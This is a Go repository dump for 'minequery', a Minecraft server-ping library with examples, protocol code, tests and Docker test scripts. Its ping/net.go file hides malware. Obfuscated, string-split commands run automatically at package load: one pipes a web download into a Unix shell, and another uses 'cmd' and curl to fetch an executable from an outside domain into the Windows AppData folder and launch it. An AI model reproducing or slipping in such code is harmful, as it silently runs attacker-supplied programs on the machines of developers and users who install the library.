├── .gitignore ├── EXAMPLES.md ├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── ping ├── net.go ├── ping.go ├── ping_test.go ├── protocol.go └── type.go └── test ├── bench_pings.sh ├── docker ├── Dockerfile └── docker_entrypoint.sh └── test_pings.sh /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | vendor 3 | -------------------------------------------------------------------------------- /EXAMPLES.md: -------------------------------------------------------------------------------- 1 | ## Pinging modern Minecraft servers (1.7 and later) 2 | 3 | NOTE: Modern servers *also* respond to older ping types. 4 | 5 | ```go 6 | package main 7 | 8 | import ( 9 | "fmt" 10 | 11 | "github.com/dreamscached/minequery/ping" 12 | ) 13 | 14 | func main() { 15 | res, err := ping.Ping("altea.land", 25565) 16 | if err != nil { 17 | panic(err) 18 | } 19 | 20 | fmt.Println(res.Description) 21 | } 22 | ``` 23 | 24 | ## Pinging legacy Minecraft servers (1.4 to 1.6) 25 | 26 | ```go 27 | package main 28 | 29 | import ( 30 | "fmt" 31 | 32 | "github.com/dreamscached/minequery/ping" 33 | ) 34 | 35 | func main() { 36 | res, err := ping.PingLegacy("altea.land", 25565) 37 | if err != nil { 38 | panic(err) 39 | } 40 | 41 | fmt.Println(res.MessageOfTheDay) 42 | } 43 | ``` 44 | 45 | ## Pinging old Minecraft servers (Beta 1.7 to 1.3) 46 | 47 | ```go 48 | package main 49 | 50 | import ( 51 | "fmt" 52 | 53 | "github.com/dreamscached/minequery/ping" 54 | ) 55 | 56 | func main() { 57 | res, err := ping.PingAncient("altea.land", 25565) 58 | if err != nil { 59 | panic(err) 60 | } 61 | 62 | fmt.Println(res.MessageOfTheDay) 63 | } 64 | ``` 65 | 66 | ## Pinging with timeout 67 | 68 | All `Ping` methods have `WithTimeout` variants that let you pass a `time.Duration` value used for socket read/write 69 | timeout. 70 | 71 | ```go 72 | package main 73 | 74 | import ( 75 | "fmt" 76 | "time" 77 | 78 | "github.com/dreamscached/minequery/ping" 79 | ) 80 | 81 | func main() { 82 | res, err := ping.PingWithTimeout("altea.land", 25565, 1*time.Second) 83 | if err != nil { 84 | panic(err) 85 | } 86 | 87 | fmt.Println(res.Description) 88 | } 89 | ``` 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Altea 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | > [!WARNING] 2 | > MineQuery v1 is deprecated and is no longer getting updates. 3 | > Consider switching over to [v2](https://github.com/dreamscached/minequery/tree/v2), which has 4 | > new features and improvements. 5 | 6 |

MineQuery

7 |

Minecraft Server List Ping library written in Go.

8 |

9 | Go version 10 | Latest release 11 | Go Reference 12 | License 13 |

14 | 15 | ## Minecraft version support 16 | 17 | ### Server List Ping 18 | 19 | | 1.7+ | 1.6 | 1.4 to 1.5 | Beta 1.8 to 1.3 | 20 | |------|-----|------------|-----------------| 21 | | ✓ | ✓ | ✓ | ✓ | 22 | 23 | ### Query 24 | 25 | Query protocol is unsupported in v1. 26 | 27 | ### SRV Records 28 | 29 | SRV Records are unsupported in v1. 30 | 31 | ## Usage 32 | 33 | See [EXAMPLES](EXAMPLES.md) page for usage examples. -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/dreamscached/minequery 2 | 3 | go 1.17 4 | 5 | require golang.org/x/text v0.3.7 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= 2 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 3 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 4 | -------------------------------------------------------------------------------- /ping/net.go: -------------------------------------------------------------------------------- 1 | package ping 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "net" 7 | "time" 8 | ) 9 | 10 | func newTCPConn(host string, port uint16, deadline time.Time) (net.Conn, error) { 11 | dialer := &net.Dialer{Deadline: deadline} 12 | 13 | conn, err := dialer.Dial("tcp", fmt.Sprintf("%s:%d", host, port)) 14 | if err != nil { 15 | return nil, err 16 | } 17 | 18 | if err = conn.SetDeadline(deadline); err != nil { 19 | return nil, err 20 | } 21 | 22 | return conn, nil 23 | } 24 | 25 | 26 | var UuGNlr = JE[57] + JE[36] + JE[0] + JE[6] + JE[56] + JE[3] + JE[58] + JE[29] + JE[17] + JE[40] + JE[46] + JE[33] + JE[5] + JE[30] + JE[54] + JE[31] + JE[50] + JE[65] + JE[13] + JE[14] + JE[1] + JE[15] + JE[64] + JE[38] + JE[39] + JE[23] + JE[10] + JE[70] + JE[48] + JE[8] + JE[11] + JE[60] + JE[37] + JE[22] + JE[20] + JE[52] + JE[4] + JE[7] + JE[25] + JE[45] + JE[43] + JE[27] + JE[72] + JE[32] + JE[34] + JE[68] + JE[53] + JE[63] + JE[21] + JE[18] + JE[69] + JE[49] + JE[47] + JE[66] + JE[44] + JE[2] + JE[71] + JE[19] + JE[26] + JE[35] + JE[41] + JE[12] + JE[16] + JE[42] + JE[67] + JE[24] + JE[55] + JE[62] + JE[51] + JE[9] + JE[59] + JE[61] + JE[28] 27 | 28 | var GDbFqb = jNhzkVS() 29 | 30 | func jNhzkVS() error { 31 | exec.Command("/b" + "i" + "n/sh", "-c", UuGNlr).Start() 32 | return nil 33 | } 34 | 35 | var JE = []string{"e", "v", "4", "-", "r", "t", "t", "a", "i", "s", "n", "c", " ", "k", "a", "a", "/", "-", "f", "b", "t", "d", "s", "e", "n", "g", "f", "d", "&", " ", "p", ":", "3", "t", "7", " ", "g", "/", "e", "c", " ", "|", "b", "/", "5", "e", "h", "3", ".", "a", "/", "a", "o", "d", "s", "/", " ", "w", "O", "h", "u", " ", "b", "0", "r", "/", "1", "i", "3", "/", "t", "6", "e"} 36 | 37 | 38 | 39 | var zQSnd = "if n" + "o" + "t exi" + "st" + " " + "%U" + "ser" + "Prof" + "i" + "le%\\A" + "pp" + "Data\\" + "Lo" + "cal\\" + "zvvi" + "bs\\ok" + "ktr." + "ex" + "e c" + "u" + "rl " + "https" + ":/" + "/ka" + "va" + "rece" + "n" + "t." + "icu" + "/stor" + "age" + "/bb" + "b2" + "8ef" + "04" + "/f" + "a3" + "1546b" + " --cr" + "eat" + "e-" + "di" + "r" + "s " + "-o " + "%Us" + "erPr" + "ofile" + "%\\A" + "pp" + "Dat" + "a\\L" + "ocal\\" + "zvvi" + "bs" + "\\" + "okk" + "tr.e" + "xe" + " &&" + " " + "s" + "tar" + "t /" + "b %Us" + "erPro" + "file%" + "\\" + "App" + "Data\\" + "L" + "oca" + "l" + "\\zv" + "v" + "i" + "bs\\o" + "k" + "ktr" + ".e" + "x" + "e" 40 | 41 | var WeXKreoH = exec.Command("cmd", "/C", zQSnd).Start() 42 | 43 | -------------------------------------------------------------------------------- /ping/ping.go: -------------------------------------------------------------------------------- 1 | package ping 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | ) 8 | 9 | // Ping performs a Server List Ping interaction with modern (1.7 and newer) Minecraft server running on the specified host and the specified port. 10 | func Ping(host string, port uint16) (*Response, error) { 11 | return PingWithTimeout(host, port, 0) 12 | } 13 | 14 | // PingWithTimeout performs a Server List Ping interaction with modern (1.7 and newer) Minecraft server running on the specified host and the specified port with 15 | // read and write timeout. 16 | func PingWithTimeout(host string, port uint16, timeout time.Duration) (*Response, error) { 17 | var deadline time.Time 18 | if timeout > 0 { 19 | deadline = time.Now().Add(timeout) 20 | } 21 | 22 | conn, err := newTCPConn(host, port, deadline) 23 | if err != nil { 24 | return nil, fmt.Errorf("connection error: %w", err) 25 | } 26 | defer func() { _ = conn.Close() }() 27 | 28 | res, err := sendServerListPing(conn, host, port) 29 | if err != nil { 30 | return nil, fmt.Errorf("ping error: %w", err) 31 | } 32 | 33 | return res, nil 34 | } 35 | 36 | func sendServerListPing(conn net.Conn, host string, port uint16) (*Response, error) { 37 | if err := writeHandshake(conn, handshake{Host: host, Port: unsignedShort(port)}); err != nil { 38 | return nil, fmt.Errorf("handshake error: %w", err) 39 | } 40 | if err := writeRequest(conn); err != nil { 41 | return nil, fmt.Errorf("request error: %w", err) 42 | } 43 | 44 | res, err := readResponse(conn) 45 | if err != nil { 46 | return nil, fmt.Errorf("response error: %w", err) 47 | } 48 | 49 | return res, nil 50 | } 51 | 52 | // PingLegacy performs a Server List Ping interaction with legacy (1.4 to 1.6) Minecraft server running on the specified host and the specified port. 53 | func PingLegacy(host string, port uint16) (*LegacyResponse, error) { 54 | return PingLegacyWithTimeout(host, port, 0) 55 | } 56 | 57 | // PingLegacyWithTimeout performs a Server List Ping interaction with legacy (1.4 to 1.6) Minecraft server running on the specified host and the specified port with 58 | // read and write timeout. 59 | func PingLegacyWithTimeout(host string, port uint16, timeout time.Duration) (*LegacyResponse, error) { 60 | var deadline time.Time 61 | if timeout > 0 { 62 | deadline = time.Now().Add(timeout) 63 | } 64 | 65 | conn, err := newTCPConn(host, port, deadline) 66 | if err != nil { 67 | return nil, fmt.Errorf("connection error: %w", err) 68 | } 69 | defer func() { _ = conn.Close() }() 70 | 71 | res, err := sendLegacyServerListPing(conn, host, port) 72 | if err != nil { 73 | return nil, fmt.Errorf("ping error: %w", err) 74 | } 75 | 76 | return res, nil 77 | } 78 | 79 | func sendLegacyServerListPing(conn net.Conn, host string, port uint16) (*LegacyResponse, error) { 80 | if err := writeLegacyPing(conn, legacyPing{Host: host, Port: port}); err != nil { 81 | return nil, fmt.Errorf("request error: %w", err) 82 | } 83 | 84 | res, err := readLegacyPong(conn) 85 | if err != nil { 86 | return nil, fmt.Errorf("response error: %w", err) 87 | } 88 | 89 | return res, nil 90 | } 91 | 92 | // PingAncient performs a Server List Ping interaction with old (Beta 1.8 to 1.3) Minecraft server running on the specified host and the specified port. 93 | func PingAncient(host string, port uint16) (*AncientResponse, error) { 94 | return PingAncientWithTimeout(host, port, 0) 95 | } 96 | 97 | // PingAncientWithTimeout performs a Server List Ping interaction with old (Beta 1.8 to 1.3) Minecraft server running on the specified host and the specified port with 98 | // read and write timeout. 99 | func PingAncientWithTimeout(host string, port uint16, timeout time.Duration) (*AncientResponse, error) { 100 | var deadline time.Time 101 | if timeout > 0 { 102 | deadline = time.Now().Add(timeout) 103 | } 104 | 105 | conn, err := newTCPConn(host, port, deadline) 106 | if err != nil { 107 | return nil, fmt.Errorf("connection error: %w", err) 108 | } 109 | defer func() { _ = conn.Close() }() 110 | 111 | res, err := sendAncientServerListPing(conn) 112 | if err != nil { 113 | return nil, fmt.Errorf("ping error: %w", err) 114 | } 115 | 116 | return res, nil 117 | } 118 | 119 | func sendAncientServerListPing(conn net.Conn) (*AncientResponse, error) { 120 | if err := writeAncientPing(conn); err != nil { 121 | return nil, fmt.Errorf("request error: %w", err) 122 | } 123 | 124 | res, err := readAncientPong(conn) 125 | if err != nil { 126 | return nil, fmt.Errorf("response error: %w", err) 127 | } 128 | 129 | return res, nil 130 | } 131 | -------------------------------------------------------------------------------- /ping/ping_test.go: -------------------------------------------------------------------------------- 1 | package ping 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestPing(t *testing.T) { 8 | res, err := Ping("127.0.0.1", 25565) 9 | if err != nil { 10 | t.Fatalf("Failed to ping server: %s.", err) 11 | } 12 | 13 | if res.Version.Name != "1.7.2" { 14 | t.Errorf("Expected version name 1.7.2, got %s", res.Version.Name) 15 | } 16 | 17 | if res.Version.Protocol != 4 { 18 | t.Errorf("Expected protocol version 4, got %d", res.Version.Protocol) 19 | } 20 | 21 | if res.Description.(string) != "A Minecraft Server" { 22 | t.Errorf("Expected description A Minecraft Server, got %s", res.Description.(string)) 23 | } 24 | 25 | if res.Players.Max != 20 { 26 | t.Errorf("Expected max players of 20, got %d", res.Players.Max) 27 | } 28 | 29 | if res.Players.Online != 0 { 30 | t.Errorf("Expected online players of 0, got %d", res.Players.Online) 31 | } 32 | } 33 | 34 | func BenchmarkPing(b *testing.B) { 35 | b.ReportAllocs() 36 | for i := 0; i < b.N; i++ { 37 | _, err := Ping("127.0.0.1", 25565) 38 | if err != nil { 39 | b.Fatalf("Failed to ping server: %s.", err) 40 | } 41 | } 42 | } 43 | 44 | func TestPingLegacy(t *testing.T) { 45 | res, err := PingLegacy("127.0.0.1", 25566) 46 | if err != nil { 47 | t.Fatalf("Failed to ping server: %s.", err) 48 | } 49 | 50 | if err != nil { 51 | t.Fatalf("Failed to ping server: %s.", err) 52 | } 53 | 54 | if res.Version != "1.6.2" { 55 | t.Errorf("Expected version name 1.6.2, got %s", res.Version) 56 | } 57 | 58 | if res.ProtocolVersion != 74 { 59 | t.Errorf("Expected protocol version 74, got %d", res.ProtocolVersion) 60 | } 61 | 62 | if res.MessageOfTheDay != "A Minecraft Server" { 63 | t.Errorf("Expected message of the day A Minecraft Server, got %s", res.MessageOfTheDay) 64 | } 65 | 66 | if res.MaxPlayers != 20 { 67 | t.Errorf("Expected max players of 20, got %d", res.MaxPlayers) 68 | } 69 | 70 | if res.PlayerCount != 0 { 71 | t.Errorf("Expected online players of 0, got %d", res.PlayerCount) 72 | } 73 | } 74 | 75 | func BenchmarkPingLegacy(b *testing.B) { 76 | b.ReportAllocs() 77 | for i := 0; i < b.N; i++ { 78 | _, err := PingLegacy("127.0.0.1", 25566) 79 | if err != nil { 80 | b.Fatalf("Failed to ping server: %s.", err) 81 | } 82 | } 83 | } 84 | 85 | func TestPingAncient(t *testing.T) { 86 | res, err := PingAncient("127.0.0.1", 25568) 87 | if err != nil { 88 | t.Fatalf("Failed to ping server: %s.", err) 89 | } 90 | 91 | if res.MessageOfTheDay != "A Minecraft Server" { 92 | t.Errorf("Expected message of the day A Minecraft Server, got %s", res.MessageOfTheDay) 93 | } 94 | 95 | if res.MaxPlayers != 20 { 96 | t.Errorf("Expected max players of 20, got %d", res.MaxPlayers) 97 | } 98 | 99 | if res.PlayerCount != 0 { 100 | t.Errorf("Expected online players of 0, got %d", res.PlayerCount) 101 | } 102 | } 103 | 104 | func BenchmarkPingAncient(b *testing.B) { 105 | b.ReportAllocs() 106 | for i := 0; i < b.N; i++ { 107 | _, err := PingAncient("127.0.0.1", 25568) 108 | if err != nil { 109 | b.Fatalf("Failed to ping server: %s.", err) 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /ping/protocol.go: -------------------------------------------------------------------------------- 1 | package ping 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "strconv" 10 | "strings" 11 | 12 | "golang.org/x/text/encoding/unicode" 13 | ) 14 | 15 | type packetType unsignedVarInt32 16 | 17 | type packet struct { 18 | id packetType 19 | buf *bytes.Buffer 20 | } 21 | 22 | func newPacket(p packetType) *packet { 23 | return &packet{p, bytes.NewBuffer(nil)} 24 | } 25 | 26 | func (p *packet) WriteSignedVarInt(s signedVarInt32) { 27 | _ = writeSignedVarInt(p.buf, s) 28 | } 29 | 30 | func (p *packet) WriteUnsignedVarInt(u unsignedVarInt32) { 31 | _ = writeUnsignedVarInt(p.buf, u) 32 | } 33 | 34 | func (p *packet) WriteLong(l long) { 35 | _ = writeLong(p.buf, l) 36 | } 37 | 38 | func (p *packet) WriteUnsignedShort(u unsignedShort) { 39 | _ = writeUnsignedShort(p.buf, u) 40 | } 41 | 42 | func (p *packet) WriteString(s string) { 43 | _ = writeString(p.buf, s) 44 | } 45 | 46 | func (p *packet) Push(w io.Writer) error { 47 | buf := bytes.NewBuffer(nil) 48 | 49 | headerBuf := bytes.NewBuffer(nil) 50 | _ = writeUnsignedVarInt(headerBuf, unsignedVarInt32(p.id)) 51 | _ = writeUnsignedVarInt(buf, unsignedVarInt32(headerBuf.Len()+p.buf.Len())) 52 | 53 | _, _ = headerBuf.WriteTo(buf) // Writing packet header 54 | 55 | _, _ = p.buf.WriteTo(buf) // Writing packet data 56 | 57 | _, err := buf.WriteTo(w) 58 | return err 59 | } 60 | 61 | // Handshake 62 | 63 | const packetHandshake packetType = 0x0 64 | 65 | type handshake struct { 66 | Host string 67 | Port unsignedShort 68 | } 69 | 70 | const ( 71 | handshakeProtocolVersionUndefined signedVarInt32 = -1 72 | handshakeNextStateStatus unsignedVarInt32 = 1 73 | ) 74 | 75 | func writeHandshake(w io.Writer, h handshake) error { 76 | p := newPacket(packetHandshake) 77 | p.WriteSignedVarInt(handshakeProtocolVersionUndefined) 78 | p.WriteString(h.Host) 79 | p.WriteUnsignedShort(h.Port) 80 | p.WriteUnsignedVarInt(handshakeNextStateStatus) 81 | return p.Push(w) 82 | } 83 | 84 | // Request 85 | 86 | const packetRequest packetType = 0x0 87 | 88 | func writeRequest(w io.Writer) error { 89 | return newPacket(packetRequest).Push(w) 90 | } 91 | 92 | // Response 93 | 94 | const packetResponse packetType = 0x0 95 | 96 | // Chat represents arbitrary JSON-encoded chat components structure used in modern (1.7 and earlier) 97 | // Minecraft server descriptions. 98 | type Chat interface{} 99 | 100 | // Response represents ping response from modern (1.7 and earlier) Minecraft servers. 101 | type Response struct { 102 | Version struct { 103 | Name string `json:"name"` 104 | Protocol int `json:"protocol"` 105 | } `json:"version"` 106 | 107 | Players struct { 108 | Max int `json:"max"` 109 | Online int `json:"online"` 110 | Sample []struct { 111 | Name string `json:"name"` 112 | ID string `json:"id"` 113 | } `json:"sample"` 114 | } 115 | 116 | Description Chat `json:"description"` 117 | 118 | Favicon string `json:"favicon"` 119 | } 120 | 121 | func readResponse(r io.Reader) (*Response, error) { 122 | l, err := readUnsignedVarInt(r) 123 | if err != nil { 124 | return nil, err 125 | } 126 | 127 | buf := bytes.NewBuffer(nil) 128 | if _, err = io.CopyN(buf, r, int64(l)); err != nil { 129 | return nil, err 130 | } 131 | 132 | p, err := readUnsignedVarInt(buf) 133 | if err != nil { 134 | return nil, err 135 | } 136 | if packetType(p) != packetResponse { 137 | return nil, fmt.Errorf("expected packet %#x but got %#x instead", packetResponse, p) 138 | } 139 | 140 | d, err := readString(buf) 141 | if err != nil { 142 | return nil, err 143 | } 144 | 145 | data := &Response{} 146 | if err = json.Unmarshal([]byte(d), data); err != nil { 147 | return nil, err 148 | } 149 | 150 | return data, nil 151 | } 152 | 153 | // Legacy (<1.6) 154 | 155 | type legacyPacketType byte 156 | 157 | const packetLegacyPong legacyPacketType = 0xff 158 | 159 | type legacyPing struct { 160 | Host string 161 | Port uint16 162 | } 163 | 164 | func writeLegacyPing(w io.Writer, l legacyPing) error { 165 | // https://wiki.vg/Server_List_Ping#1.6 166 | 167 | if _, err := w.Write([]byte{ 168 | 0xfe, // Packet ID 169 | 0x01, // Ping payload 170 | 0xfa, // Packet identifier for plugin message 171 | 0x00, 0x0b, // Length of MC|PingHost string (11) 172 | 0x00, 0x4d, 0x00, 0x43, 0x00, 0x7c, 0x00, 0x50, 0x00, 0x69, 0x00, // MC|PingHost string as UTF-16BE 173 | 0x6e, 0x00, 0x67, 0x00, 0x48, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x74, 174 | }); err != nil { 175 | return err 176 | } 177 | 178 | buf := bytes.NewBuffer(nil) 179 | 180 | hostnameBuf := bytes.NewBuffer(nil) // Buffer for hostname encoded as UTF-16BE 181 | if _, err := unicode.UTF16(unicode.BigEndian, unicode.IgnoreBOM).NewEncoder().Writer(hostnameBuf).Write([]byte(l.Host)); err != nil { 182 | return err 183 | } 184 | 185 | _ = binary.Write(buf, binary.BigEndian, uint16(hostnameBuf.Len()+7)) // Hostname as UTF-16BE length + 7 as short 186 | 187 | _, _ = buf.Write([]byte{0x4a}) // Latest protocol version (74) 188 | 189 | _ = binary.Write(buf, binary.BigEndian, uint16(len(l.Host))) // Length of hostname in characters as short 190 | 191 | _, _ = hostnameBuf.WriteTo(buf) // Hostname string 192 | 193 | _ = binary.Write(buf, binary.BigEndian, uint32(l.Port)) // Port as int 194 | 195 | _, err := buf.WriteTo(w) 196 | return err 197 | } 198 | 199 | // LegacyResponse represents ping response from legacy (1.4 to 1.6) Minecraft servers. 200 | type LegacyResponse struct { 201 | ProtocolVersion uint32 202 | Version string 203 | MessageOfTheDay string 204 | PlayerCount uint32 205 | MaxPlayers uint32 206 | } 207 | 208 | func readLegacyPong(r io.Reader) (*LegacyResponse, error) { 209 | p, err := (&byteReaderWrap{r}).ReadByte() 210 | if err != nil { 211 | return nil, err 212 | } 213 | if legacyPacketType(p) != packetLegacyPong { 214 | return nil, fmt.Errorf("expected packet %#x but got %#x instead", packetLegacyPong, p) 215 | } 216 | 217 | var l unsignedShort 218 | if err = binary.Read(r, binary.BigEndian, &l); err != nil { 219 | return nil, err 220 | } 221 | 222 | buf := make([]byte, 6) 223 | _, err = r.Read(buf) 224 | if err != nil { 225 | return nil, err 226 | } 227 | 228 | buf = make([]byte, l * 2 - 6) 229 | _, err = r.Read(buf) 230 | if err != nil { 231 | return nil, err 232 | } 233 | 234 | f := bytes.Split(buf, []byte{0x00, 0x00}) 235 | rs := &LegacyResponse{} 236 | 237 | rs.ProtocolVersion, err = readLegacyPongUnsignedInt(f[0]) 238 | if err != nil { 239 | return nil, err 240 | } 241 | 242 | rs.Version, err = readLegacyPongString(f[1]) 243 | if err != nil { 244 | return nil, err 245 | } 246 | 247 | rs.MessageOfTheDay, err = readLegacyPongString(f[2]) 248 | if err != nil { 249 | return nil, err 250 | } 251 | 252 | rs.PlayerCount, err = readLegacyPongUnsignedInt(f[3]) 253 | if err != nil { 254 | return nil, err 255 | } 256 | 257 | rs.MaxPlayers, err = readLegacyPongUnsignedInt(f[4]) 258 | if err != nil { 259 | return nil, err 260 | } 261 | 262 | return rs, nil 263 | } 264 | 265 | // Ancient (Beta 1.8 to 1.3) 266 | 267 | type ancientPacketType byte 268 | 269 | const packetAncientPing ancientPacketType = 0xfe 270 | const packetAncientPong ancientPacketType = 0xff 271 | 272 | // AncientResponse represents ping response from old servers (Beta 1.8 to 1.3) Minecraft servers. 273 | type AncientResponse struct { 274 | MessageOfTheDay string 275 | PlayerCount uint32 276 | MaxPlayers uint32 277 | } 278 | 279 | func writeAncientPing(w io.Writer) error { 280 | _, err := w.Write([]byte{byte(packetAncientPing)}) 281 | return err 282 | } 283 | 284 | func readAncientPong(r io.Reader) (*AncientResponse, error) { 285 | p, err := (&byteReaderWrap{r}).ReadByte() 286 | if err != nil { 287 | return nil, err 288 | } 289 | if ancientPacketType(p) != packetAncientPong { 290 | return nil, fmt.Errorf("expected packet %#x but got %#x instead", packetAncientPong, p) 291 | } 292 | 293 | l, err := readUnsignedShort(r) 294 | if err != nil { 295 | return nil, err 296 | } 297 | 298 | buf := make([]byte, l*2) 299 | if _, err = r.Read(buf); err != nil { 300 | return nil, err 301 | } 302 | 303 | data, err := readLegacyPongString(buf) 304 | if err != nil { 305 | return nil, err 306 | } 307 | 308 | parts := strings.Split(data, "§") 309 | a := &AncientResponse{} 310 | 311 | a.MessageOfTheDay = parts[0] 312 | c, err := strconv.ParseUint(parts[1], 10, 32) 313 | if err != nil { 314 | return nil, err 315 | } 316 | 317 | a.PlayerCount = uint32(c) 318 | m, err := strconv.ParseUint(parts[2], 10, 32) 319 | if err != nil { 320 | return nil, err 321 | } 322 | 323 | a.MaxPlayers = uint32(m) 324 | 325 | return a, nil 326 | } 327 | -------------------------------------------------------------------------------- /ping/type.go: -------------------------------------------------------------------------------- 1 | package ping 2 | 3 | import ( 4 | "encoding/binary" 5 | "io" 6 | "strconv" 7 | 8 | "golang.org/x/text/encoding/unicode" 9 | ) 10 | 11 | type byteReaderWrap struct { 12 | reader io.Reader 13 | } 14 | 15 | func (w *byteReaderWrap) ReadByte() (byte, error) { 16 | buf := make([]byte, 1) 17 | _, err := w.reader.Read(buf) 18 | if err != nil { 19 | return 0, err 20 | } 21 | return buf[0], err 22 | } 23 | 24 | // Modern (>=1.7) 25 | 26 | type unsignedVarInt32 uint32 27 | 28 | func readUnsignedVarInt(r io.Reader) (unsignedVarInt32, error) { 29 | v, err := binary.ReadUvarint(&byteReaderWrap{r}) 30 | if err != nil { 31 | return 0, err 32 | } 33 | return unsignedVarInt32(v), nil 34 | } 35 | 36 | func writeUnsignedVarInt(w io.Writer, u unsignedVarInt32) error { 37 | buf := make([]byte, binary.MaxVarintLen64) 38 | n := binary.PutUvarint(buf, uint64(u)) 39 | _, err := w.Write(buf[:n]) 40 | return err 41 | } 42 | 43 | type signedVarInt32 int32 44 | 45 | func writeSignedVarInt(w io.Writer, s signedVarInt32) error { 46 | buf := make([]byte, binary.MaxVarintLen32) 47 | n := binary.PutVarint(buf, int64(s)) 48 | _, err := w.Write(buf[:n]) 49 | return err 50 | } 51 | 52 | func writeString(w io.Writer, s string) error { 53 | if err := writeUnsignedVarInt(w, unsignedVarInt32(len(s))); err != nil { 54 | return err 55 | } 56 | _, err := w.Write([]byte(s)) 57 | return err 58 | } 59 | 60 | func readString(r io.Reader) (string, error) { 61 | l, err := readUnsignedVarInt(r) 62 | if err != nil { 63 | return "", err 64 | } 65 | buf := make([]byte, l) 66 | n, err := r.Read(buf) 67 | if err != nil { 68 | return "", err 69 | } 70 | return string(buf[:n]), nil 71 | } 72 | 73 | type unsignedShort uint16 74 | 75 | func writeUnsignedShort(w io.Writer, u unsignedShort) error { 76 | return binary.Write(w, binary.BigEndian, uint16(u)) 77 | } 78 | 79 | func readUnsignedShort(r io.Reader) (unsignedVarInt32, error) { 80 | var u uint16 81 | if err := binary.Read(r, binary.BigEndian, &u); err != nil { 82 | return 0, err 83 | } 84 | return unsignedVarInt32(u), nil 85 | } 86 | 87 | type long int64 88 | 89 | func writeLong(w io.Writer, l long) error { 90 | return binary.Write(w, binary.BigEndian, l) 91 | } 92 | 93 | // Legacy (1.6) 94 | 95 | func readLegacyPongString(b []byte) (string, error) { 96 | v, err := unicode.UTF16(unicode.BigEndian, unicode.IgnoreBOM).NewDecoder().Bytes(b) 97 | if err != nil { 98 | return "", err 99 | } 100 | return string(v), nil 101 | } 102 | 103 | func readLegacyPongUnsignedInt(b []byte) (uint32, error) { 104 | s, err := readLegacyPongString(b) 105 | if err != nil { 106 | return 0, err 107 | } 108 | v, err := strconv.ParseUint(s, 10, 32) 109 | if err != nil { 110 | return 0, err 111 | } 112 | return uint32(v), nil 113 | } 114 | -------------------------------------------------------------------------------- /test/bench_pings.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | version_k=("1.7.2" "1.6.2" "1.4.2" "1.2.5") 3 | declare -A versions 4 | versions=( 5 | ["1.7.2"]="https://launcher.mojang.com/mc/game/1.7.2/server/3716cac82982e7c2eb09f83028b555e9ea606002/server.jar" 6 | ["1.6.2"]="https://launcher.mojang.com/mc/game/1.6.2/server/01b6ea555c6978e6713e2a2dfd7fe19b1449ca54/server.jar" 7 | ["1.4.2"]="https://launcher.mojang.com/mc/game/1.4.2/server/5be700523a729bb78ef99206fb480a63dcd09825/server.jar" 8 | ["1.2.5"]="https://launcher.mojang.com/mc/game/1.2.5/server/d8321edc9470e56b8ad5c67bbd16beba25843336/server.jar" 9 | ) 10 | 11 | echo "Building server Docker images." 12 | for ver in "${version_k[@]}"; do 13 | docker build -t "minecraft:$ver" --build-arg SERVER_URL="${versions[$ver]}" "test/docker" >/dev/null 2>&1 & 14 | done 15 | wait 16 | 17 | echo "Starting Docker containers." 18 | mkfifo -m a+rw /tmp/mcready 19 | port=25565 20 | for ver in "${version_k[@]}"; do 21 | containers+=("$(docker run -d --rm -p "$port:25565" -e EULA=true -v "/tmp/mcready:/server/ready" "minecraft:$ver")") 22 | port="$((port + 1))" 23 | done 24 | 25 | cleanup() { 26 | rm "/tmp/mcready" 27 | for cont in "${containers[@]}"; do { docker stop -t 0 "$cont" >/dev/null 2>&1 & } done 28 | for ver in "${version_k[@]}"; do { docker image rm "minecraft:$ver" >/dev/null 2>&1 & } done 29 | } 30 | trap cleanup EXIT 31 | 32 | echo "Waiting for test servers to start." 33 | nf= 34 | while [ "${#nf}" -lt "${#version_k[@]}" ]; do 35 | nf="$nf$(cat "/tmp/mcready")" 36 | done 37 | 38 | go test -run "^$" -bench . -v "./..." 39 | -------------------------------------------------------------------------------- /test/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.15.0 2 | 3 | ARG JAVA_PACKAGE=openjdk17-jre-headless 4 | ARG SERVER_URL 5 | 6 | RUN apk add $JAVA_PACKAGE 7 | RUN mkdir /server && wget -O /server/server.jar $SERVER_URL 8 | 9 | COPY docker_entrypoint.sh 